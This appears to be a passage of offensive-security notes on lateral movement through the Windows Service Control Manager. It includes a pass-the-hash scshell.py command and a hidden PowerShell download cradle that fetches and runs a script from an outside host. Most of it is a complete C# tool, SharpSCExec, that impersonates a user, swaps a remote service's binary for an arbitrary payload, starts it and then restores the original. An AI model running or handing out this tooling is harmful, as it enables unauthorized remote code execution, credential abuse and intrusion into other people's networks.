RPC
Remote Procedure Call
SCM
Using Python implementation and PtH:
$ python scshell.py MEGACORP/snovvcrash@192.168.1.11 -hashes :fc525c9683e8fe067095ba2ddc971889 -service-name lfsvc
SCShell>C:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c iex(new-object net.webclient).downloadstring('http://10.10.13.37:8080/payload.ps1')
Custom PoC:
SharpSCExec.cs
using System;
using System.Runtime.InteropServices;
namespace SharpSCExec
{
class Program
{
[DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string lpszUsername, [MarshalAs(UnmanagedType.LPStr)] string lpszDomain, [MarshalAs(UnmanagedType.LPStr)] string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[StructLayout(LayoutKind.Sequential)]
public class QueryServiceConfigStruct
{
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwServiceType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwStartType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwErrorControl;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpBinaryPathName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpLoadOrderGroup;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwTagID;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDependencies;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpServiceStartName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDisplayName;
};
static void Main(string[] args)
{
string target = args[0];
string svcName = args[1]; // Potential candidates are: XblAuthManager, SensorService, BTAGService, lfsvc
string payload = args[2];
if (args.Length < 3)
{
Console.WriteLine("Usage: SharpSCExec.exe <TARGET> <SERVICE> <PAYLOAD>");
Console.WriteLine("Example: SharpSCExec.exe SRV01 SensorService \"cmd.exe /c ping -n 2 10.10.13.37\"");
return;
}
if (args.Length > 3)
{
string domain = args[3];
string username = args[4];
string password = args[5];
IntPtr hToken = IntPtr.Zero;
if (!LogonUser(username, domain, password, 0x9, 0, out hToken))
{
Console.WriteLine($"[-] LogonUser failed: {GetLastError()}");
Environment.Exit(0);
}
if (!ImpersonateLoggedOnUser(hToken))
{
Console.WriteLine($"[-] ImpersonateLoggedOnUser failed: {GetLastError()}");
Environment.Exit(0);
}
}
IntPtr SCMHandle = OpenSCManager(
target,
null,
0xF003F); // SC_MANAGER_ALL_ACCESS
IntPtr hService = OpenService(
SCMHandle,
svcName,
0xF01FF); // SERVICE_ALL_ACCESS
UInt32 bytesNeeded;
bool res = QueryServiceConfig(hService, IntPtr.Zero, 0, out bytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)bytesNeeded);
res = QueryServiceConfig(hService, ptr, bytesNeeded, out bytesNeeded);
QueryServiceConfigStruct qsc = new QueryServiceConfigStruct();
Marshal.PtrToStructure(ptr, qsc);
string origBinaryPath = qsc.lpBinaryPathName;
Console.WriteLine($"[*] Extracted original service binary: \"{origBinaryPath}\"");
res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
payload,
null,
null,
null,
null,
null,
null);
if (res)
{
Console.WriteLine("[+] Service binary changed successfully!");
}
else
{
Console.WriteLine($"[-] Failed changing service binary: {GetLastError()}");
}
res = StartService(hService, 0, null);
Console.WriteLine($"[*] StartService terminated with return code {res} and error {GetLastError()}");
res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
origBinaryPath,
null,
null,
null,
null,
null,
null);
if (res)
{
Console.WriteLine("[+] Original service binary restored successfully!");
}
else
{
Console.WriteLine($"[-] Failed restoring original service binary: {GetLastError()}");
}
}
}
}
Task Scheduler
Last updated